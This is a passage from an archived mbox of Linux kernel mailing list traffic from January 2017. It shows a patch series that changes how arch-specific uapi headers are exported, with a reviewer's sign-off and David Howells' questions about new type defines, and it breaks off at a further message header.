ICAgICA6PSAkKG9ianRyZWUpLyQoZ2VuKQogCiAjIGFsbCBoZWFkZXJzIGZpbGVzIGZvciB0aGlz
IGRpcgotaGVhZGVyLXkgICAgICA6PSAkKGZpbHRlci1vdXQgJChnZW5lcmljLXkpLCAkKGhlYWRl
ci15KSkKLWFsbC1maWxlcyAgICAgOj0gJChoZWFkZXIteSkgJChnZW5oZHIteSkgJCh3cmFwcGVy
LWZpbGVzKQorYWxsLWZpbGVzICAgICA6PSAkKGhlYWRlci1maWxlcykgJChnZW5oZHItZmlsZXMp
ICQod3JhcHBlci1maWxlcykKIG91dHB1dC1maWxlcyAgOj0gJChhZGRwcmVmaXggJChpbnN0YWxs
ZGlyKS8sICQoYWxsLWZpbGVzKSkKIAotIyBDaGVjayB0aGF0IGFsbCBleHBlY3RlZCBmaWxlcyBl
eGlzdAotJChmb3JlYWNoIGhkciwgJChoZWFkZXIteSksIFwKLSAgJChpZiAkKHdpbGRjYXJkICQo
c3JjZGlyKS8kKGhkcikpLCwgXAotICAgICAgICQoZXJyb3IgTWlzc2luZyBVQVBJIGZpbGUgJChz
cmNkaXIpLyQoaGRyKSkgXAotICAgKSkKLSQoZm9yZWFjaCBoZHIsICQoZ2VuaGRyLXkpLCBcCi0g
ICQoaWYJJCh3aWxkY2FyZCAkKGdlbmRpcikvJChoZHIpKSwsIFwKLSAgICAgICAkKGVycm9yIE1p
c3NpbmcgZ2VuZXJhdGVkIFVBUEkgZmlsZSAkKGdlbmRpcikvJChoZHIpKSBcCi0gICkpCitpZm5l
cSAoJChtYW5kYXRvcnkteSksKQorbWlzc2luZyAgICAgICA6PSAkKGZpbHRlci1vdXQgJChhbGwt
ZmlsZXMpLCQobWFuZGF0b3J5LXkpKQoraWZuZXEgKCQobWlzc2luZyksKQorJChlcnJvciBTb21l
IG1hbmRhdG9yeSBoZWFkZXJzICgkKG1pc3NpbmcpKSBhcmUgbWlzc2luZyBpbiAkKG9iaikpCitl
bmRpZgorZW5kaWYKIAogIyBXb3JrIG91dCB3aGF0IG5lZWRzIHRvIGJlIHJlbW92ZWQKIG9sZGhl
YWRlcnMgICAgOj0gJChwYXRzdWJzdCAkKGluc3RhbGxkaXIpLyUsJSwkKHdpbGRjYXJkICQoaW5z
dGFsbGRpcikvKi5oKSkKQEAgLTY3LDggKzcwLDggQEAgcHJpbnRkaXIgPSAkKHBhdHN1YnN0ICQo
SU5TVEFMTF9IRFJfUEFUSCkvJS8sJSwkKGRpciAkQCkpCiBxdWlldF9jbWRfaW5zdGFsbCA9IElO
U1RBTEwgJChwcmludGRpcikgKCQod29yZHMgJChhbGwtZmlsZXMpKVwKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBmaWxlJChpZiAkKHdvcmQgMiwgJChhbGwtZmlsZXMpKSxzKSkKICAgICAg
IGNtZF9pbnN0YWxsID0gXAotICAgICAgICAkKENPTkZJR19TSEVMTCkgJDwgJChpbnN0YWxsZGly
KSAkKHNyY2RpcikgJChoZWFkZXIteSk7IFwKLSAgICAgICAgJChDT05GSUdfU0hFTEwpICQ8ICQo
aW5zdGFsbGRpcikgJChnZW5kaXIpICQoZ2VuaGRyLXkpOyBcCisgICAgICAgICQoQ09ORklHX1NI
RUxMKSAkPCAkKGluc3RhbGxkaXIpICQoc3JjZGlyKSAkKGhlYWRlci1maWxlcyk7IFwKKyAgICAg
ICAgJChDT05GSUdfU0hFTEwpICQ8ICQoaW5zdGFsbGRpcikgJChnZW5kaXIpICQoZ2VuaGRyLWZp
bGVzKTsgXAogICAgICAgICBmb3IgRiBpbiAkKHdyYXBwZXItZmlsZXMpOyBkbyAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgICAgICAgICAgIGVjaG8gIlwjaW5jbHVk
ZSA8YXNtLWdlbmVyaWMvJCRGPiIgPiAkKGluc3RhbGxkaXIpLyQkRjsgICAgXAogICAgICAgICBk
b25lOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgXAotLSAKMi44LjEKCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fXwpYZW4tZGV2ZWwgbWFpbGluZyBsaXN0Clhlbi1kZXZlbEBsaXN0cy54ZW4ub3Jn
Cmh0dHBzOi8vbGlzdHMueGVuLm9yZy94ZW4tZGV2ZWwK


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v3 8/8] uapi: export all arch specifics directories
Date: Fri, 13 Jan 2017 11:46:46 +0100
Lines: 125
Approved: news@gmane.org
Message-ID: <1484304406-10820-9-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484304540 5462 195.159.176.226 (13 Jan 2017 10:49:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:49:00 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 daniel.vetter@ffwll.ch, linux-fbdev@vger.kernel.org,
 dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
 linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org, linux@armlinux.org.uk,
 hch@infradead.org, coreteam@netfilter.org, msalter@redhat.com,
 fcoe-devel@open-fcoe.org, xen-devel@lists.xenproject.org,
 linux-snps-arc@lists.infradead.org, linux-media@vger.kernel.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-xtensa@linux-xtensa.org,
 linux-kbuild@vger.kernel.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-raid@vger.kernel.org, linux-m68k@lists.linux-m68k.org
To: arnd@arndb.de
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Jan 13 11:48:48 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1cRzPI-0008Ku-6d
	for gla-linux-snps-arc@m.gmane.org; Fri, 13 Jan 2017 11:48:28 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cRzPM-0004hN-DF; Fri, 13 Jan 2017 10:48:32 +0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com ([62.23.145.76]
 helo=proxy.6wind.com)
 by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
 id 1cRzOg-0003Gm-7d; Fri, 13 Jan 2017 10:47:59 +0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id E851B257A0;
 Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cRzNl-0002qR-GW; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170113_024750_755924_7C5C71F4 
X-CRM114-Status: UNSURE (   9.42  )
X-CRM114-Notice: Please train this message.
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2016 gmane.linux.ports.mips.general:57465 gmane.linux.alsa.devel:163135 gmane.linux.ports.ia64:27601 gmane.linux.documentation:44301 gmane.comp.video.dri.devel:176223 gmane.linux.drivers.mtd:71327 gmane.linux.ports.sparc:24394 gmane.linux.kernel.cross-arch:34795 gmane.linux.drivers.rdma:45576 gmane.linux.ports.hexagon:1117 gmane.linux.ports.sh.devel:55038 gmane.linux.scsi.open-fcoe.devel:13022 gmane.linux.drivers.video-input-infrastructure:111901 gmane.linux.kbuild.devel:16312 gmane.linux.raid:55379 gmane.linux.kernel.metag:1240 gmane.linux.ports.arm.kernel:550322 gmane.linux.nfs:81439 gmane.linux.ports.parisc:27192 gmane.linux.network:450010 gmane.linux.kernel.mmc:42212 gmane.linux.kernel:2387319 gmane.linux.kernel.spi.devel:26110 gmane.comp.security.firewalls.netfilter.devel:66853 gmane.linux.ports.alpha:4040 gmane.linux.ports.ppc64.devel:137273
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2016>

This patch removes the need of subdir-y. Now all files/directories under
arch/<arch>/include/uapi/ are exported.

The only change for userland is the layout of the command 'make
headers_install_all': directories asm-<arch> are replaced by arch-<arch>/.
Those new directories contains all files/directories of the specified arch.

Note that only cris and tile have more directories than only asm:
 - arch-v[10|32] for cris;
 - arch for tile.

Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
---
 Documentation/kbuild/makefiles.txt | 15 +--------------
 Makefile                           |  4 ++--
 arch/cris/include/uapi/asm/Kbuild  |  3 ---
 arch/tile/include/uapi/asm/Kbuild  |  2 --
 scripts/Makefile.headersinst       |  3 +--
 5 files changed, 4 insertions(+), 23 deletions(-)

diff --git a/Documentation/kbuild/makefiles.txt b/Documentation/kbuild/makefiles.txt
index 51c072049e45..87a3d7d86776 100644
--- a/Documentation/kbuild/makefiles.txt
+++ b/Documentation/kbuild/makefiles.txt
@@ -48,7 +48,6 @@ This document describes the Linux kernel Makefiles.
 		--- 7.2 genhdr-y
 		--- 7.3 generic-y
 		--- 7.4 generated-y
-		--- 7.5 subdir-y
 
 	=== 8 Kbuild Variables
 	=== 9 Makefile language
@@ -1264,7 +1263,7 @@ The pre-processing does:
 - drop all sections that are kernel internal (guarded by ifdef __KERNEL__)
 
 All headers under include/uapi/, include/generated/uapi/,
-arch/<arch>/include/uapi/asm/ and arch/<arch>/include/generated/uapi/asm/
+arch/<arch>/include/uapi/ and arch/<arch>/include/generated/uapi/
 are exported.
 
 A Kbuild file may be defined under arch/<arch>/include/uapi/asm/ and
@@ -1331,18 +1330,6 @@ See subsequent chapter for the syntax of the Kbuild file.
 			#arch/x86/include/asm/Kbuild
 			generated-y += syscalls_32.h
 
-	--- 7.5 subdir-y
-
-	subdir-y may be used to specify a subdirectory to be exported.
-
-		Example:
-			#arch/cris/include/uapi/asm/Kbuild
-			subdir-y += ../arch-v10/arch/
-			subdir-y += ../arch-v32/arch/
-
-	The convention is to list one subdir per line and
-	preferably in alphabetic order.
-
 === 8 Kbuild Variables
 
 The top Makefile exports the following variables:
diff --git a/Makefile b/Makefile
index 5f1a84735ff6..a35098157b69 100644
--- a/Makefile
+++ b/Makefile
@@ -1126,7 +1126,7 @@ firmware_install:
 export INSTALL_HDR_PATH = $(objtree)/usr
 
 # If we do an all arch process set dst to asm-$(hdr-arch)
-hdr-dst = $(if $(KBUILD_HEADERS), dst=include/asm-$(hdr-arch), dst=include/asm)
+hdr-dst = $(if $(KBUILD_HEADERS), dst=include/arch-$(hdr-arch), dst=include)
 
 PHONY += archheaders
 archheaders:
@@ -1147,7 +1147,7 @@ headers_install: __headers
 	$(if $(wildcard $(srctree)/arch/$(hdr-arch)/include/uapi/asm/Kbuild),, \
 	  $(error Headers not exportable for the $(SRCARCH) architecture))
 	$(Q)$(MAKE) $(hdr-inst)=include/uapi
-	$(Q)$(MAKE) $(hdr-inst)=arch/$(hdr-arch)/include/uapi/asm $(hdr-dst)
+	$(Q)$(MAKE) $(hdr-inst)=arch/$(hdr-arch)/include/uapi $(hdr-dst)
 
 PHONY += headers_check_all
 headers_check_all: headers_install_all
diff --git a/arch/cris/include/uapi/asm/Kbuild b/arch/cris/include/uapi/asm/Kbuild
index d0c5471856e0..b15bf6bc0e94 100644
--- a/arch/cris/include/uapi/asm/Kbuild
+++ b/arch/cris/include/uapi/asm/Kbuild
@@ -1,5 +1,2 @@
 # UAPI Header export list
 include include/uapi/asm-generic/Kbuild.asm
-
-subdir-y += ../arch-v10/arch/
-subdir-y += ../arch-v32/arch/
diff --git a/arch/tile/include/uapi/asm/Kbuild b/arch/tile/include/uapi/asm/Kbuild
index e0a50111e07f..0c74c3c5ebfa 100644
--- a/arch/tile/include/uapi/asm/Kbuild
+++ b/arch/tile/include/uapi/asm/Kbuild
@@ -2,5 +2,3 @@
 include include/uapi/asm-generic/Kbuild.asm
 
 generic-y += ucontext.h
-
-subdir-y += ../arch
diff --git a/scripts/Makefile.headersinst b/scripts/Makefile.headersinst
index 16ac3e71050e..cafaca2d9a23 100644
--- a/scripts/Makefile.headersinst
+++ b/scripts/Makefile.headersinst
@@ -2,7 +2,7 @@
 # Installing headers
 #
 # All headers under include/uapi, include/generated/uapi,
-# arch/<arch>/include/uapi/asm and arch/<arch>/include/generated/uapi/asm are
+# arch/<arch>/include/uapi and arch/<arch>/include/generated/uapi are
 # exported.
 # They are preprocessed to remove __KERNEL__ section of the file.
 #
@@ -28,7 +28,6 @@ include scripts/Kbuild.include
 installdir    := $(INSTALL_HDR_PATH)/$(subst uapi/,,$(_dst))
 
 subdirs       := $(patsubst $(srctree)/$(obj)/%/.,%,$(wildcard $(srctree)/$(obj)/*/.))
-subdirs       += $(subdir-y)
 header-files  := $(notdir $(wildcard $(srctree)/$(obj)/*.h))
 header-files  += $(notdir $(wildcard $(srctree)/$(obj)/*.agh))
 genhdr-files  := $(notdir $(wildcard $(srctree)/$(gen)/*.h))
-- 
2.8.1

From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tobias Klauser <tklauser@distanz.ch>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v3 3/8] nios2: put setup.h in uapi
Date: Fri, 13 Jan 2017 11:55:50 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20170113105550.GD1201@distanz.ch>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
 <1484304406-10820-4-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1484304972 13564 195.159.176.226 (13 Jan 2017 10:56:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:56:12 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: arnd@arndb.de, mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-ar
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jan 13 11:56:02 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1cRzWQ-00018O-Fk
	for glpm-linux-m68k@m.gmane.org; Fri, 13 Jan 2017 11:55:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751636AbdAMKzz (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 13 Jan 2017 05:55:55 -0500
Original-Received: from sym2.noone.org ([178.63.92.236]:60039 "EHLO sym2.noone.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751620AbdAMKzy (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 13 Jan 2017 05:55:54 -0500
Original-Received: by sym2.noone.org (Postfix, from userid 1002)
        id 3v0KL01HRcz1kb2V; Fri, 13 Jan 2017 11:55:52 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1484304406-10820-4-git-send-email-nicolas.dichtel@6wind.com>
X-Editor: Vi IMproved 7.3
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9136 gmane.linux.kbuild.devel:16313 gmane.linux.documentation:44302 gmane.linux.kernel:2387323 gmane.linux.ports.alpha:4041 gmane.linux.kernel.arc:2017 gmane.linux.ports.arm.kernel:550326 gmane.linux.ports.hexagon:1118 gmane.linux.ports.ia64:27602 gmane.linux.kernel.metag:1241 gmane.linux.ports.mips.general:57466 gmane.linux.ports.parisc:27193 gmane.linux.ports.ppc64.devel:137274 gmane.linux.ports.sh.devel:55039 gmane.linux.ports.sparc:24395 gmane.linux.kernel.cross-arch:34796 gmane.comp.video.dri.devel:176224 gmane.linux.network:450012 gmane.linux.drivers.video-input-infrastructure:111902 gmane.linux.kernel.mmc:42213 gmane.comp.security.firewalls.netfilter.devel:66854 gmane.linux.nfs:81440 gmane.linux.raid:55380 gmane.linux.kernel.spi.devel:26111 gmane.linux.drivers.mtd:71328 gmane.linux.drivers.rdma:45577 gmane.linux.scsi.open-fcoe.devel:13023 gmane.linux.alsa.devel:163136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9136>

On 2017-01-13 at 11:46:41 +0100, Nicolas Dichtel <nicolas.dichtel@6wind.com> wrote:
> This header file is exported, but from a userland pov, it's just a wrapper
> to asm-generic/setup.h.
> 
> Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>

Reviewed-by: Tobias Klauser <tklauser@distanz.ch>

From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel.mmc,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.alsa.devel,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: (unknown)
Date: Fri, 13 Jan 2017 15:36:43 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
        Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
        Kingdom.
        Registered in England and Wales under Company Registration No. 3798903
Lines: 33
Approved: news@gmane.org
Message-ID: <25063.1484321803@warthog.procyon.org.uk>
References: <1484304406-10820-2-git-send-email-nicolas.dichtel@6wind.com> <3131144.4Ej3KFWRbz@wuerfel> <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: blaine.gmane.org 1484321839 31615 195.159.176.226 (13 Jan 2017 15:37:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 15:37:19 +0000 (UTC)
Cc: dhowells@redhat.com, arnd@arndb.de, linux-mips@linux-mips.org,
        linux-m68k@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-doc@vger.kernel.org, alsa-devel@alsa-project.org,
        dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
        sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
        linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
        linux@armlinux.org.uk, coreteam@netfilter.org,
        fcoe-devel@open-fcoe.org, xen-devel@lists.xenproject.org,
        linux-snps-arc@lists.infradead.org, linux-media@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-mmc-owner@vger.kernel.org Fri Jan 13 16:37:09 2017
Return-path: <linux-mmc-owner@vger.kernel.org>
Envelope-to: glkm-linux-mmc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mmc-owner@vger.kernel.org>)
	id 1cS3ue-0007Kw-Gg
	for glkm-linux-mmc@m.gmane.org; Fri, 13 Jan 2017 16:37:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752285AbdAMPhF (ORCPT <rfc822;glkm-linux-mmc@m.gmane.org>);
        Fri, 13 Jan 2017 10:37:05 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:59602 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752238AbdAMPg6 (ORCPT <rfc822;linux-mmc@vger.kernel.org>);
        Fri, 13 Jan 2017 10:36:58 -0500
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 4DBC48F27A;
        Fri, 13 Jan 2017 15:36:52 +0000 (UTC)
Original-Received: from warthog.procyon.org.uk (ovpn-116-28.rdu2.redhat.com [10.10.116.28])
        by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id v0DFailJ024694;
        Fri, 13 Jan 2017 10:36:45 -0500
In-Reply-To: <1484304406-10820-2-git-send-email-nicolas.dichtel@6wind.com>
Content-ID: <25062.1484321803.1@warthog.procyon.org.uk>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.26]); Fri, 13 Jan 2017 15:36:53 +0000 (UTC)
Original-Sender: linux-mmc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-mmc.vger.kernel.org>
X-Mailing-List: linux-mmc@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.mmc:42241 gmane.linux.ports.mips.general:57471 gmane.linux.ports.m68k:9137 gmane.linux.ports.ia64:27605 gmane.linux.documentation:44307 gmane.linux.alsa.devel:163145 gmane.comp.video.dri.devel:176238 gmane.linux.drivers.mtd:71340 gmane.linux.ports.sparc:24399 gmane.linux.kernel.cross-arch:34799 gmane.linux.drivers.rdma:45587 gmane.linux.ports.hexagon:1119 gmane.linux.ports.sh.devel:55040 gmane.linux.scsi.open-fcoe.devel:13024 gmane.linux.kernel.arc:2019 gmane.linux.drivers.video-input-infrastructure:111917 gmane.linux.kbuild.devel:16314 gmane.linux.raid:55381 gmane.linux.kernel.metag:1242 gmane.linux.ports.arm.kernel:550471 gmane.linux.nfs:81442 gmane.linux.ports.parisc:27194 gmane.linux.kernel:2387617 gmane.linux.kernel.spi.devel:26114 gmane.comp.security.firewalls.netfilter.devel:66857 gmane.linux.ports.alpha:4042 gmane.linux.ports.ppc64.devel:137284
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mmc/42241>

Nicolas Dichtel <nicolas.dichtel@6wind.com> wrote:

> This header file is exported, thus move it to uapi.

Exported how?

> +#ifdef __INT32_TYPE__
> +#undef __INT32_TYPE__
> +#define __INT32_TYPE__		int
> +#endif
> +
> +#ifdef __UINT32_TYPE__
> +#undef __UINT32_TYPE__
> +#define __UINT32_TYPE__	unsigned int
> +#endif
> +
> +#ifdef __UINTPTR_TYPE__
> +#undef __UINTPTR_TYPE__
> +#define __UINTPTR_TYPE__	unsigned long
> +#endif

These weren't defined by the kernel before, so why do we need to define them
now?

Will defining __UINTPTR_TYPE__ cause problems in compiling libboost by
changing the signature on C++ functions that use uintptr_t?

David
--
To unsubscribe from this list: send the line "unsubscribe linux-mmc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Howells <dhowells@redhat.com>
